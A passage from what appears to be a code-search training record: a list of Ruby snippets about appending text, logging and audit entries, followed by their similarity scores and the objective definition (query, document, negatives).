/0m/\n\t\t\t\t\t\t@log_window.attron(Ncurses.COLOR_PAIR(7))\n\t\t\t\tend\n\t\t\tend\n\t\t\t@log_window.addstr(\"\\n\")\n\t\t\t@log_window.refresh\n\t\tend", "def add_instant_text(text)\n @lines.push(text)\n refresh\n end", "def insert_text_after(text)\r\n text_run = get_run_after\r\n text_run.text = \"#{text}#{text_run.text}\"\r\n end", "def output_result(text)\n email_results ? (result_output << text) : RAILS_ENV!=\"test\"&&puts(text)\n end", "def writeLog(text)\n\n Utils_visiona.verifyInput(String, text.class)\n\n return if @logFile.nil?\n\n Thread.new do\n\n File.open(@logFile, 'a+') {|file| file.puts \"#{Time.now} #{text}\"}\n end\n\t\tend", "def insert_text(out = nil)\n print out if out\n exit 203\n end", "def audit\n @audit || false\n end", "def text(text)\n @document.add_text(text)\n end", "def _append_text(str)\n\t\tif(str != '')\n\t\t\tif(!@contents || !@contents[@content_index].is_a?(String))\n\t\t\t\t@content_index += 1\n\t\t\t\t@contents[@content_index] = ''\n\t\t\tend\n\t\t\t@contents[@content_index] += str.to_s\n\t\tend\n\tend", "def text(txt)\r\n puts \"text: #{txt}\" if $DEBUG\r\n\r\n if (inRule?)\r\n txt = cleanText(txt)\r\n @curRuleSrc += txt\r\n end\r\n end", "def << (text)\n @loggers.each do |logger|\n logger.info text.to_s\n end\n end", "def output()\n add_newline if @linebreak\n @text\n end", "def toc_text text\n toc.push(:item => self, :text => text, :id => nil)\n self\n end", "def add_after_or_append(filename, matching_text, text_to_add, before_text, after_text)\n content = File.read(filename)\n if content.include?(matching_text)\n add_after(filename, matching_text, text_to_add)\n else\n append_file(filename, [before_text, text_to_add, after_text].join(\"\\n\"))\n end\n end", "def append(row,text)\n\t\t@text[row] = @text[row].dup\n\t\t@text[row] += text\n\tend", "def handleTextElement someText\r\n @output << someText.value.strip if @output\r\n end", "def content(text)\n @out << text.to_s\n nil\n end", "def append_tags\n self.text += (\" \"+self.tag_string) if !self.tag_string.blank?\n true\n end", "def append_tags\n self.text += (\" \"+self.tag_string) if !self.tag_string.blank?\n true\n end", "def log(text)\n puts text\n end", "def <<(text_element)\n self.text_elements << text_element\n self.merge!(text_element)\n end", "def append_text(content)\n temp_text_ele = @text_ele.clone\n temp_text_ele.elements[1].content = content\n last_para = @main_doc.xpath('.//w:p')[-1]\n last_para.add_child(temp_text_ele)\n end", "def append(filename, text)\n File.open(filename,\"a\") {|f| f << text + \"\\n\"}\n end", "def append(filename, text)\n File.open(filename,\"a\") {|f| f << text + \"\\n\"}\n end", "def addsection(text, title, minor = false, bot = true)\n #require login\n @site.login\n result = @site.query_prop_info(@normtitle, nil, 'edit') \n token = result['query']['pages']['page']['edittoken']\n result = @site.edit(@normtitle, section, text, token, title, minor, nil, bot) \n if result.key?('error')\n raise RbmediawikiError, \"#{title}: \"+result['error']['code']\n else\n return true\n end\n end", "def audit\n Rails.logger.info \"**************inside audit log************\"\n study_name, subject_name = study.name, subject.name\n \n Rake::Task['hello:process'].invoke\n \n file = File.join(File.dirname(__FILE__), 'audit.txt')\n File.open(file, 'a') { |f| f.puts \"A subject named #{subject_name} , enrolled to a Study named #{study_name} with priority 0\" }\n end", "def audit\n count_words unless audited?\n @audited = true\n end", "def audit?\n false\n end", "def append_output(str)\n options[:stdout].write str\n options[:append_output].try(:call, str)\n end", "def write(text)\n content.send @opts[:write], text\n end", "def write_to_log(text)\n File.open(@log_file_path, 'a') do |file|\n # threadsafe write\n file.flock(File::LOCK_EX)\n file.puts text\n file.flush\n file.flock(File::LOCK_UN)\n end\n end", "def verbose_print(text)\n @output += %(#{text}\\n)\n puts text if @verbose\n end", "def _log(text)\n\t\topen($location+\"/logs/class.log\", 'a') { |f| f.puts(\"[\"+DateTime.now.strftime('%Y-%m-%d %H:%M:%S')+\"] \"+text+\"\\n\") } if (text.is_a?(String) && !text.empty?)\n\tend", "def quick_add(text)\r\n content = <<EOF\r\n<entry xmlns='http://www.w3.org/2005/Atom' xmlns:gCal='http://schemas.google.com/gCal/2005'>\r\n <content type=\"html\">#{text}</content>\r\n <gCal:quickadd value=\"true\"/>\r\n</entry>\r\nEOF\r\n post_event(content)\r\n end", "def can_modify\n write_file( @output, read_file(@message).gsub(/[ ]/, \" modified text \") )\n end", "def log(text=\"\", new_line=true)\n super(DO_LOGGER_FORMAT % [user, name, text], new_line)\n end", "def show_text(string, *params)\r\n @content.last << string\r\n end", "def text_run_interrupt_existing\n if @rt_run_context.inside_a_run\n if '' != @rt_run_context.collected_text\n # Add run only if we collected any text\n @rt_current_block_node.text(\n @rt_run_context.collected_text,\n @rt_run_context.run_attributes_stack.last\n )\n end\n # Reset run_context\n @rt_run_context.collected_text = ''\n @rt_run_context.inside_a_run = false\n end\n true\n end", "def process_text_log\n @process_text_log ||= \"\\t*****************************\\r\\n\\t Swimmer Merge Report\\r\\n\\t*****************************\\r\\n\"\n end", "def say(text, level = DEFAULT_LOG_LEVEL)\n puts text if @loud\n logger.add level, \"HARE: #{text}\"\n end", "def log(text=\"\", new_line=true)\n current_server ? current_server.log(text, new_line) : super(text, new_line)\n end", "def clause_line_text_altered(changed_clause, action)\n\n @altered_lines = Change.where('project_id = ? AND clause_id = ? AND revision_id = ? AND event = ? AND linetype_id > ?', @current_project.id, changed_clause.id, @selected_revision.id, action, 2).order('specline_id')\n if !@altered_lines.blank? \n check_added_print_status = @altered_lines.collect{|item| item.print_change}.uniq\n if check_added_print_status.include?(true) \n \"<table><tr id='#{changed_clause.id.to_s}'><td class='rev_subtitle'>Text #{action}:</td></tr></table>\".html_safe\n else\n \"<table><tr id='#{changed_clause.id.to_s}'><td class='rev_subtitle_strike'>Text #{action}:</td></tr></table>\".html_safe\n end\n end\n end", "def set_audit_log_data\n @audit_log.auditable = @product_section if @audit_log\n end", "def audit_create\n if self.class.auditing_enabled\n write_audit(:create)\n end\n true\n end", "def analysis_text_log\n @analysis_text_log ||= \"\\t*****************************\\r\\n\\t Team Analysis Report\\r\\n\\t*****************************\\r\\n\"\n end", "def add_text\n return '' unless @selector.key?(:text)\n\n text = @selector.delete :text\n if !text.is_a?(Regexp)\n \"[normalize-space()='#{text}' or @value='#{text}']\"\n elsif simple_regexp?(text)\n \"[contains(text(), '#{text.source}') or contains(@value, '#{text.source}')]\"\n else\n @selector[:text] = text\n ''\n end\n end", "def add_text_output_options(opt)\n opt.on(\"--wrap-at=X\", Integer,\n \"Wraps table after X's character (no wrap by default)\") do |x|\n io_options[:text][:wrap_at] = x\n end\n opt.on(\"--truncate-at=X\", Integer,\n \"Truncate row lines at X character\") do |x|\n io_options[:text][:truncate_at] = x\n io_options[:text][:append_with] = '...'\n end\n end", "def append_section()\n result = super()\n return true if result == TPL_OK\n raise get_message(result)\n end", "def paragraph(text)\n add_alerts(\"<p>#{text.strip}</p>\\n\")\n end", "def show_text(string, *params)\n @content.last << string\n end", "def show_text(string, *params)\n @content.last << string\n end", "def show_text(string, *params)\n @content.last << string\n end", "def insert_text(text)\n # Create the mark tag if not exist\n @buffer.insert(@buffer.end_iter, text)\n if (not @buffer.get_mark('end_mark'))\n @buffer.create_mark('end_mark', @buffer.end_iter, false)\n end\n\n # Save our offset\n @@offset = @buffer.end_iter.offset\n\n # Scrolled the view until the end of the buffer\n @textview.scroll_mark_onscreen(@buffer.get_mark('end_mark'))\n end", "def audit(data)\n stream << data.to_s.chomp + \"\\n\"\n stream.flush\n end", "def add_content text, config={}\n unless @_buffers\n bind_key(?\\M-n, :buffer_next)\n bind_key(?\\M-p, :buffer_prev)\n bind_key(KEY_BACKSPACE, :buffer_prev) # backspace, already hardcoded in textview !\n bind_key(?:, :buffer_menu)\n end\n @_buffers ||= []\n @_buffers_conf ||= []\n @_buffers << text\n if text.is_a? String\n config[:filename] = text\n config[:title] ||= text\n end\n @_buffers_conf << config\n @_buffer_ctr ||= 0\n $log.debug \"XXX: HELP adding text #{@_buffers.size} \"\n end", "def log(text=\"\", new_line=true)\n if current_server\n current_server.log(text, new_line)\n else\n text += \"\\n\" if new_line && text[-1] != ?\\n\n print(text)\n end\n end", "def print(text)\n @output += %(#{text}\\n)\n puts text\n end", "def log_entry(page_name)\n log_file = File.open(\"text_files/log.txt\", \"a\")\n log_file.puts(Time.now.to_s + \"<br>\")\n log_file.puts(\"Edit to page: \" + page_name + \"<br>\")\n log_file.puts(\"By User: <b>\" + $credentials[0] + \"</b>\" + \"<br>\")\n log_file.close\nend", "def update(text)\n\t\t@modification_date = DateTime.now.strftime('%Y-%m-%d %H:%M')\n\t\t@text = text\n\tend", "def add_line(line)\n @text_lines << line.upcase_trim\n end", "def show_text(string, *params)\n @content.last << string.strip\n end", "def summary(text)\n Runner.instance.summary = text\n end", "def adv_search_set_text\n if @edit[@expkey].history.idx.zero? # Are we pointing at the first exp\n @edit[:adv_search_applied][:text] = if @edit[:new_search_name]\n _(\" - Filtered by \\\"%{text}\\\"\") % {:text => @edit[:new_search_name]}\n else\n _(\" - Filtered by \\\"%{text}\\\" report\") %\n {:text => @edit[:adv_search_report]}\n end\n else\n @edit[:custom_search] = true\n @edit[:adv_search_applied][:text] = _(\" - Filtered by custom search\")\n end\n end", "def append_line_to_file(path, line)\n run \"echo '#{line}' | #{sudo} tee -a #{path}\", options\n end", "def insert_text_before(text)\r\n text_run = get_run_before\r\n text_run.text = \"#{text_run.text}#{text}\"\r\n end", "def show_text(string, *params)\n @content.last << string.strip\n end", "def text(string)\n target << string\n end", "def log(text, level = :notice)\n level = allowable_log_level(level)\n\n if level == :debug && @log_level == :debug\n @task_run.add_log_text(text)\n elsif level == :notice && (@log_level == :debug || @log_level == :notice)\n @task_run.add_log_text(text)\n elsif level == :error\n @task_run.add_error_text(text)\n end\n end", "def audit section\n\t\t\tsection\n\t\tend", "def output\n @plugin_output ||= if @event.at('plugin_output')\n @event.at('plugin_output').inner_text\n else\n false\n end\n end", "def writes(text)\n output_file = File.open(ARGV[1], 'a')\n output_file.write(text)\n end", "def append(s)\n if @input.nil?\n @input = \"\"\n end\n @input += s\n @output.text = @input\n end", "def append(s)\n if @input.nil?\n @input = \"\"\n end\n @input += s\n @output.text = @input\n end" ]
[ "0.668661", "0.65745723", "0.6496115", "0.64246005", "0.6338253", "0.6125426", "0.6090944", "0.60546625", "0.59142715", "0.5893096", "0.5879269", "0.5794972", "0.5742017", "0.5698856", "0.56838536", "0.56573397", "0.56521744", "0.56470317", "0.56370914", "0.5546997", "0.5532756", "0.55216324", "0.5509652", "0.548828", "0.54875225", "0.54850686", "0.5476345", "0.5468899", "0.5458086", "0.5440987", "0.5420573", "0.53819835", "0.53780985", "0.5376432", "0.53734356", "0.53659636", "0.53584814", "0.5340582", "0.53248084", "0.53238636", "0.5307691", "0.5300438", "0.52967596", "0.52750427", "0.5272551", "0.5272551", "0.5271701", "0.5235846", "0.522677", "0.52161884", "0.52161884", "0.5204321", "0.51976687", "0.5190416", "0.5184897", "0.5166757", "0.5155472", "0.51541007", "0.5133221", "0.51303136", "0.51224035", "0.5102438", "0.5095585", "0.50886893", "0.5086292", "0.5082929", "0.50805527", "0.5079157", "0.50763047", "0.50662106", "0.5048441", "0.5045782", "0.50403994", "0.5035408", "0.503214", "0.50317764", "0.5029606", "0.5029606", "0.5029606", "0.502768", "0.5021934", "0.5020902", "0.49934232", "0.49892524", "0.498611", "0.49855012", "0.4966394", "0.49620837", "0.49230662", "0.49190304", "0.49186328", "0.4910206", "0.4907775", "0.49069998", "0.49049497", "0.49027205", "0.48963773", "0.4882544", "0.48714173", "0.48714173" ]
0.69587207
0
Append info text to current audit section. A special marker will be prepended to each line of audit to indicate that text is not some output. Text will be linewrapped. === Parameters text(String):: Informational text to append to audit entry options[:category](String):: Optional, must be one of RightScale::EventCategories::CATEGORIES === Return true:: Always return true
def append_info(text, options={}) options[:category] ||= EventCategories::NONE # Do not event by default send_request('append_info', normalize_options(text, options)) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def append_info(text, options={})\n send_audit(:kind => :info, :text => text, :category => options[:category])\n end", "def add_log_text(text)\n self.log_text = \"\" if self.log_text.nil?\n self.log_text += text + \"\\n\"\n end", "def append_output(text)\n EM.next_tick do\n @buffer << text\n if @buffer.size > MIN_AUDIT_SIZE\n flush_buffer\n else\n reset_timer\n end\n end\n end", "def internal_send_audit(options)\n RightScale::AuditProxy.force_utf8!(options[:text])\n opts = { :audit_id => @audit_id, :category => options[:category], :offset => @size }\n opts[:category] ||= EventCategories::CATEGORY_NOTIFICATION\n unless EventCategories::CATEGORIES.include?(opts[:category])\n Log.warning(\"Invalid category '#{opts[:category]}' for notification '#{options[:text]}', using generic category instead\")\n opts[:category] = EventCategories::CATEGORY_NOTIFICATION\n end\n\n log_method = options[:kind] == :error ? :error : :info\n log_text = AuditFormatter.send(options[:kind], options[:text])[:detail]\n log_text.chomp.split(\"\\n\").each { |l| Log.__send__(log_method, l) }\n begin\n audit = AuditFormatter.__send__(options[:kind], options[:text])\n @size += audit[:detail].size\n request = RetryableRequest.new(\"/auditor/update_entry\", opts.merge(audit), :timeout => AUDIT_DELIVERY_TIMEOUT)\n request.callback { |_| } # No result of interest other than know it was successful\n request.errback { |message| Log.error(\"Failed to send update for audit #{@audit_id} (#{message})\") }\n request.run\n rescue Exception => e\n Log.error(\"Failed to send update for audit #{@audit_id}\", e, :trace)\n end\n\n true\n end", "def add_text(text); end", "def append_changes_to_existing_text=(value)\n @append_changes_to_existing_text = value\n end", "def append(text); end", "def info(text)\n puts \"#{text}\".foreground(:cyan)\n end", "def append(appended_text = '')\n @text << ' ' << appended_text\n end", "def add(text)\n @text << text\n end", "def write_text(text)\n if (@text_filter)\n text = @text_filter.call(text)\n end\n @out << text\n end", "def log_info(msg)\n # puts \"-I- #{msg}\"\n @msg_text.insert('end', \"-I- #{msg}\\n\")\n @msg_text.see('end')\n end", "def append_changes_to_existing_text\n return @append_changes_to_existing_text\n end", "def <<(text)\r\n dbg_puts \" Append=#{text.inspect}\"\r\n @buffer << text\r\n rescue NoMethodError\r\n error \"F14: The current mode does not allow code to be appended.\"\r\n end", "def inject_metadata(text, meta)\n if (meta && meta.any?) || text.start_with?(\"\\1\\n\")\n mt = meta ? meta.map {|k, v| \"#{k}: #{v}\\n\"} : \"\"\n text = \"\\1\\n\" + mt.join + \"\\1\\n\" + text\n end\n text\n end", "def _text(text)\n @target << text\n end", "def show_text(text, options={})\n add_actor Gamework::Text.new(text, options)\n end", "def quick_add(text)\r\n content = <<EOF\r\n<entry xmlns='http://www.w3.org/2005/Atom' xmlns:gCal='http://schemas.google.com/gCal/2005'>\r\n <content type=\"html\">#{text}</content>\r\n <gCal:quickadd value=\"true\"/>\r\n</entry>\r\nEOF\r\n post_event(content)\r\n end", "def log(text)\n\t\t\ttext = text.to_s\n\n\t\t\t# Parse ANSI escape codes.\n\t\t\ttext.scan(/([^\\e]*)(?:\\e\\[(\\d+.))?/) do |normal_text, code|\n\t\t\t\t@log_window.addstr(normal_text)\n\t\t\t\tcase code\n\t\t\t\t\twhen /3(\\d)m/\n\t\t\t\t\t\t@log_window.attron(Ncurses.COLOR_PAIR($1.to_i))\n\t\t\t\t\twhen /0m/\n\t\t\t\t\t\t@log_window.attron(Ncurses.COLOR_PAIR(7))\n\t\t\t\tend\n\t\t\tend\n\t\t\t@log_window.addstr(\"\\n\")\n\t\t\t@log_window.refresh\n\t\tend", "def add_text(text)\n return if text.empty?\n\n if text.frozen?\n text = text.gsub(/['\\\\]/, '\\\\\\\\\\&')\n else\n text.gsub!(/['\\\\]/, '\\\\\\\\\\&')\n end\n\n with_buffer{@src << \" << '\" << text << @text_end}\n end", "def << (text)\n @loggers.each do |logger|\n logger.info text.to_s\n end\n end", "def append_to_log_file( data_import_session, text )\n full_pathname = log_full_pathname( data_import_session )\n File.open( full_pathname, 'a+' ) do |f|\n f.puts( text )\n end if Rails.env != 'test' # (Avoid creating thousands of files during specs running)\n end", "def add_instant_text(text)\n @lines.push(text)\n refresh\n end", "def toc_text text\n toc.push(:item => self, :text => text, :id => nil)\n self\n end", "def say(text, level = DEFAULT_LOG_LEVEL)\n puts text if @loud\n logger.add level, \"HARE: #{text}\"\n end", "def append text\n raise \"append: deprecated pls use << or push as per Array semantics\"\n @list ||= []\n @list.push text\n fire_dimension_changed :append\n self\n end", "def add_text_output_options(opt)\n opt.on(\"--wrap-at=X\", Integer,\n \"Wraps table after X's character (no wrap by default)\") do |x|\n io_options[:text][:wrap_at] = x\n end\n opt.on(\"--truncate-at=X\", Integer,\n \"Truncate row lines at X character\") do |x|\n io_options[:text][:truncate_at] = x\n io_options[:text][:append_with] = '...'\n end\n end", "def append(text, summary = nil, minor = true, bot = true)\n #require login\n @site.login\n puts text\n result = @site.query_prop_info(:titles => @normtitle, :intoken => 'edit')\n token = result['query']['pages']['page']['edittoken']\n result = @site.edit(:title => @normtitle, :text => text, :token => token, :summary => summary, \n\t\t:minor => minor, :bot => bot, :appendtext => text)\n if result.key?('error')\n raise RbmediawikiError, \"#{title}: \"+result['error']['code']\n else\n return true\n end\n end", "def log(text, level = :info)\n puts text if @verbose\n\n return unless logger\n logger.send(level, text)\n end", "def write_txt\n true\n end", "def normalize_options(text, options)\n opts = options || {}\n opts[:text] = text\n opts[:category] ||= EventCategories::CATEGORY_NOTIFICATION\n unless EventCategories::CATEGORIES.include?(opts[:category])\n RightLinkLog.warn(\"Invalid notification category '#{opts[:category]}', using generic category instead\")\n opts[:category] = EventCategories::CATEGORY_NOTIFICATION\n end\n opts\n end", "def log(text, level = :info)\n puts text if @options[:verbose]\n\n return unless logger\n logger.send(level, text)\n end", "def appendtext(value)\n merge(appendtext: value.to_s)\n end", "def append_link( output, text, record )\n return ( output << \" \" << link_to(\n text.html_safe,\n {\n :controller => record.auditable_type.downcase.pluralize,\n :action => 'show',\n :id => record.auditable_id\n }\n )\n ).html_safe()\n end", "def add_item_text(text, id, type)\n # return normal text if range is 0 or the option isn't used for this type\n return text if Items.range(id) == 0\n # get scope\n scope = $data_items[id].scope\n # iterate through configuration\n Config::ITEM_DATA_MODE.each_index {|i|\n # if current option was set up for this type\n if Config::ITEM_DATA_MODE[i] == type\n # add extra information to result text\n case i\n when 0\n next if scope == 0 || scope == 7\n text += case Items.type(id)[0]\n when SHOOT then Cache::ScopeOne.include?(scope) ? ' (Shooter)' : ' (Thruster)'\n when HOMING then Cache::ScopeOne.include?(scope) ? ' (Homing)' : ' (S. Homing)'\n when DIRECT then Cache::ScopeOne.include?(scope) ? ' (Selector)' : ' (Shockwave)'\n when BEAM then Cache::ScopeOne.include?(scope) ? ' (Beam)' : ' (Fullscreen)'\n when TRAP then ' (Trap)'\n when TIMED then ' (Timed)'\n when SUMMON then ' (Summoner)'\n end\n when 1 then text += ' (explodes)' if Items.type(id)[1] > 0\n when 2\n number = Items.range(id)\n number = 1.0 if number < 1.0\n text += \" R: #{number}\"\n end\n end}\n # return result text\n return text\n end", "def insert_text_after(text)\r\n text_run = get_run_after\r\n text_run.text = \"#{text}#{text_run.text}\"\r\n end", "def insert_text(text)\n # Create the mark tag if not exist\n @buffer.insert(@buffer.end_iter, text)\n if (not @buffer.get_mark('end_mark'))\n @buffer.create_mark('end_mark', @buffer.end_iter, false)\n end\n\n # Save our offset\n @@offset = @buffer.end_iter.offset\n\n # Scrolled the view until the end of the buffer\n @textview.scroll_mark_onscreen(@buffer.get_mark('end_mark'))\n end", "def insert_text(text:)\n {\n method: \"Input.insertText\",\n params: { text: text }.compact\n }\n end", "def text(text)\n @document.add_text(text)\n end", "def add(text, meta, journal, link, p1=nil, p2=nil)\n text = inject_metadata(text, meta)\n add_revision(text, journal, link, p1, p2)\n end", "def add_after_or_append(filename, matching_text, text_to_add, before_text, after_text)\n content = File.read(filename)\n if content.include?(matching_text)\n add_after(filename, matching_text, text_to_add)\n else\n append_file(filename, [before_text, text_to_add, after_text].join(\"\\n\"))\n end\n end", "def info(infoText, infoFont = nil)\n @alert.window.contentView.subviews[5].font = infoFont unless infoFont.nil?\n @alert.informativeText = infoText.to_s unless infoText.nil?\n end", "def writeLog(text)\n\n Utils_visiona.verifyInput(String, text.class)\n\n return if @logFile.nil?\n\n Thread.new do\n\n File.open(@logFile, 'a+') {|file| file.puts \"#{Time.now} #{text}\"}\n end\n\t\tend", "def curate_text\n # FIXME: Gonna need to chomp newlines\n @text += self.content[:text][:host_info]\n @text += self.content[:text][:state_info]\n @text += self.content[:text][:alert_ack_url]\n end", "def append(text)\n return if text.nil? || text.empty?\n\n if @close_count > 0\n close_count = @close_count\n @close_count = 0\n\n append(\"$renderer.close(#{close_count unless close_count == 1})\")\n end\n\n if @whitespace_buff\n @statement_buff << @whitespace_buff\n @whitespace_buff = nil\n confirmed_newline = true\n end\n\n if (confirmed_newline || @statement_buff.match?(NEWLINE_END)) && !text.match?(NEWLINE_BEGIN)\n @statement_buff << @indent\n else\n unless @statement_buff.match?(AUTO_SEMICOLON_END) || text.match?(AUTO_SEMICOLON_BEGIN)\n @statement_buff << \";\"\n end\n\n unless @statement_buff.empty? || text.match?(WHITESPACE_BEGIN)\n @statement_buff << ' '\n end\n end\n\n flush if text.match?(NON_WHITESPACE)\n @statement_buff << text\n end", "def log(text=\"\", new_line=true)\n super(DO_LOGGER_FORMAT % [user, name, text], new_line)\n end", "def text(type, msg)\n\tcase type\n when META_TEXT, META_LYRIC, META_CUE\n @track.events << MetaEvent.new(type, msg, @curr_ticks)\n\twhen META_SEQ_NAME, META_COPYRIGHT\n @track.events << MetaEvent.new(type, msg, 0)\n\twhen META_INSTRUMENT\n @track.instrument = msg\n\twhen META_MARKER\n @track.events << Marker.new(msg, @curr_ticks)\n\telse\n $stderr.puts \"text = #{msg}, type = #{type}\" if $DEBUG\n\tend\n end", "def create_new_section(title, options={})\n send_audit(:kind => :new_section, :text => title, :category => options[:category])\n end", "def insert_text\n attributes.fetch(:insertText)\n end", "def text(txt)\r\n puts \"text: #{txt}\" if $DEBUG\r\n\r\n if (inRule?)\r\n txt = cleanText(txt)\r\n @curRuleSrc += txt\r\n end\r\n end", "def _log(text)\n\t\topen($location+\"/logs/class.log\", 'a') { |f| f.puts(\"[\"+DateTime.now.strftime('%Y-%m-%d %H:%M:%S')+\"] \"+text+\"\\n\") } if (text.is_a?(String) && !text.empty?)\n\tend", "def add_content text, config={}\n unless @_buffers\n bind_key(?\\M-n, :buffer_next)\n bind_key(?\\M-p, :buffer_prev)\n bind_key(KEY_BACKSPACE, :buffer_prev) # backspace, already hardcoded in textview !\n bind_key(?:, :buffer_menu)\n end\n @_buffers ||= []\n @_buffers_conf ||= []\n @_buffers << text\n if text.is_a? String\n config[:filename] = text\n config[:title] ||= text\n end\n @_buffers_conf << config\n @_buffer_ctr ||= 0\n $log.debug \"XXX: HELP adding text #{@_buffers.size} \"\n end", "def log(text=\"\", new_line=true)\n current_server ? current_server.log(text, new_line) : super(text, new_line)\n end", "def verbose text\n message(text) if @options[:verbose]\n end", "def verbose text\n message(text) if @options[:verbose]\n end", "def log(text=\"\", new_line=true)\n if current_server\n current_server.log(text, new_line)\n else\n text += \"\\n\" if new_line && text[-1] != ?\\n\n print(text)\n end\n end", "def set_usage(text, options={})\n options[:attachments] ||= []\n options[:attachments].unshift({'text' => text})\n self.usage_options = options\n end", "def insert(text, at: caret)\n editable? and @native.insert_text(at.to_i, text.to_s, text.to_s.length)\n end", "def add(text)\n @lines ||= []\n @lines.push text\n end", "def write text\n\t\t@search_text = @line.text = text\n\tend", "def add_skill_text(text, id, type)\n # return normal text if range is 0 or the option isn't used for this type\n return text if Skills.range(id) == 0\n # get scope\n scope = $data_skills[id].scope\n # iterate through configuration\n Config::SKILL_DATA_MODE.each_index {|i|\n # if current option was set up for this type\n if Config::SKILL_DATA_MODE[i] == type\n # add extra information to result text\n case i\n when 0\n next if scope == 0 || scope == 7\n text += case Skills.type(id)[0]\n when SHOOT then Cache::ScopeOne.include?(scope) ? ' (Shooter)' : ' (Thruster)'\n when HOMING then Cache::ScopeOne.include?(scope) ? ' (Homing)' : ' (S. Homing)'\n when DIRECT then Cache::ScopeOne.include?(scope) ? ' (Selector)' : ' (Shockwave)'\n when BEAM then Cache::ScopeOne.include?(scope) ? ' (Beam)' : ' (Fullscreen)'\n when TRAP then ' (Trap)'\n when TIMED then ' (Timed)'\n when SUMMON then ' (Summoner)'\n end\n when 1 then text += ' (explodes)' if Skills.type(id)[1] > 0\n when 2\n number = Skills.range(id)\n number = 1.0 if number < 1.0\n text += \" R: #{number}\"\n end\n end}\n # return result text\n return text\n end", "def append(filename, text)\n File.open(filename,\"a\") {|f| f << text + \"\\n\"}\n end", "def append(filename, text)\n File.open(filename,\"a\") {|f| f << text + \"\\n\"}\n end", "def extract(text)\n escape_char = ::Asciidoctor::Substitutors::RS\n @callouts.clear\n\n text.each_line.with_index(1).map { |line, ln|\n line.gsub(@callout_rx) do\n match = $LAST_MATCH_INFO\n if match[1] == escape_char\n # We have to use sub since we aren't sure it's the first char.\n match[0].sub(escape_char, '')\n else\n (@callouts[ln] ||= []) << match[3].to_i\n nil\n end\n end\n }.join\n end", "def log(text)\n puts text\n end", "def addsection(text, title, minor = false, bot = true)\n #require login\n @site.login\n result = @site.query_prop_info(@normtitle, nil, 'edit') \n token = result['query']['pages']['page']['edittoken']\n result = @site.edit(@normtitle, section, text, token, title, minor, nil, bot) \n if result.key?('error')\n raise RbmediawikiError, \"#{title}: \"+result['error']['code']\n else\n return true\n end\n end", "def add_error_text(text)\n self.error_text = \"\" if self.error_text.nil?\n self.error_text += text + \"\\n\"\n end", "def log(text, level = :notice)\n level = allowable_log_level(level)\n\n if level == :debug && @log_level == :debug\n @task_run.add_log_text(text)\n elsif level == :notice && (@log_level == :debug || @log_level == :notice)\n @task_run.add_log_text(text)\n elsif level == :error\n @task_run.add_error_text(text)\n end\n end", "def write(text)\n content.send @opts[:write], text\n end", "def info_ln(message)\n write_message message, 'info', true\n end", "def text_annotation(rect, contents, options={})\n options = options.merge(:Subtype => :Text, :Rect => rect, :Contents => contents)\n write_note(options)\n end", "def add_text(src, text)\n return if text.empty?\n\n if text == \"\\n\"\n @newline_pending += 1\n else\n src << \"_erbout.safe_append='\"\n src << \"\\n\" * @newline_pending if @newline_pending > 0\n src << escape_text(text)\n src << \"';\"\n\n @newline_pending = 0\n end\n end", "def new_subsection_text(revision_subsection) \n if @array_of_new_subsections[revision_subsection.id] == 'added'\n subsection_text_show(revision_subsection, 'added') \n end\n end", "def verbose_print(text)\n @output += %(#{text}\\n)\n puts text if @verbose\n end", "def log_info(kvs)\n return unless tracing?\n self.current_trace.add_info(kvs)\n end", "def handle_text_insertion pos, text\n add_command InsertionCommand.new(pos, text)\n end", "def displayInfo(text)\n puts \"( - ) #{text}\"\n end", "def add_activity(text, user, type: :log)\n activity_obj = {\n text: text,\n type: type,\n timestamp: Time.now.to_s,\n user: {\n username: user.username,\n id: user.to_param.to_s\n }\n }\n\n self.activities[:items] ||= []\n self.activities[:items] << activity_obj\n self.save\n end", "def info(log)\n output.puts log if log_level <= INFO\n end", "def add_activity(*args)\n append_data(\"activity_log\",args.join(\" : \"))\n end", "def overwriteText cursor, text\n if cursor.isAtEOL? or cursor.isAtEOF?\n insertText cursor, text\n else\n overwrite cursor, text\n end\n end", "def trace text, details=nil, severity=Errlog::TRACE, &block\n details and self.details = details\n report text, severity\n end", "def puts(text = '')\n @contexts << text\n end", "def add_line(line)\n @text_lines << line.upcase_trim\n end", "def curate_text\n notification_type = get_nagios_var('NAGIOS_NOTIFICATIONTYPE')\n if notification_type.eql?('ACKNOWLEDGEMENT')\n @text += self.content[:short_text][:ack_info] unless self.content[:short_text][:ack_info].empty?\n else\n [:host_info, :state_info, :additional_info, :additional_details].each do |info|\n @text += self.content[:short_text][info] unless self.content[:short_text][info].empty?\n end\n end\n end", "def additional_info\n section = __method__\n output = get_nagios_var(\"NAGIOS_#{@state_type}OUTPUT\")\n # Output is formmated like: Current value: 18094.25, warn threshold: 100.0, crit threshold: 1000.0\n add_text(section, \"Additional Info:\\n #{unescape_text(output)}\\n\\n\") if output\n output_match = output.match(/Current value: (?<current_value>[^,]*), warn threshold: (?<warn_threshold>[^,]*), crit threshold: (?<crit_threshold>[^,]*)/)\n if output_match\n add_html(section, \"Current value: <b><font color='red'>#{output_match['current_value']}</font></b>, warn threshold: <b>#{output_match['warn_threshold']}</b>, crit threshold: <b><font color='red'>#{output_match['crit_threshold']}</font></b><br><br>\")\n else\n add_html(section, \"<b>Additional Info</b>:<br> #{output}<br><br>\") if output\n end\n\n elasticsearch_section section\n\n graphs_section section\n end", "def add_text_child(text)\n text_tag = Tag.new(\"text\", text)\n @current_node.children.push text_tag\n text_tag.parent = @current_node\n # text_tag.depth = @current_node.depth\n end", "def append_to_body(text)\n @issue_body = issue_body + text\n update_issue({ body: @issue_body })\n end", "def write_to_log(text)\n File.open(@log_file_path, 'a') do |file|\n # threadsafe write\n file.flock(File::LOCK_EX)\n file.puts text\n file.flush\n file.flock(File::LOCK_UN)\n end\n end", "def write(text)\n File.open(file_agenda, 'w') do |file|\n text.each {|row| file << row}\n end\n end", "def text\n metadata&.dig('event', 'text')\n end", "def write_line(text, x = nil, y = nil, mode = :left, color = 0, alpha = 0xff,\n effect = nil, effect_color = 0, effect_size = 1, effect_alpha = 0xff,\n z_index = 0)\n if text.is_a? Hash\n x = text[:x]\n y = text[:y]\n mode = text.fetch(:mode, :left)\n color = text.fetch(:color, 0)\n alpha = text.fetch(:alpha, 0xff)\n effect = text.fetch(:effect, nil)\n effect_color = text.fetch(:effect_color, 0)\n effect_size = text.fetch(:effect_size, 1)\n effect_alpha = text.fetch(:effect_alpha, 0xff)\n z_index = text.fetch(:z_index, 0)\n text = 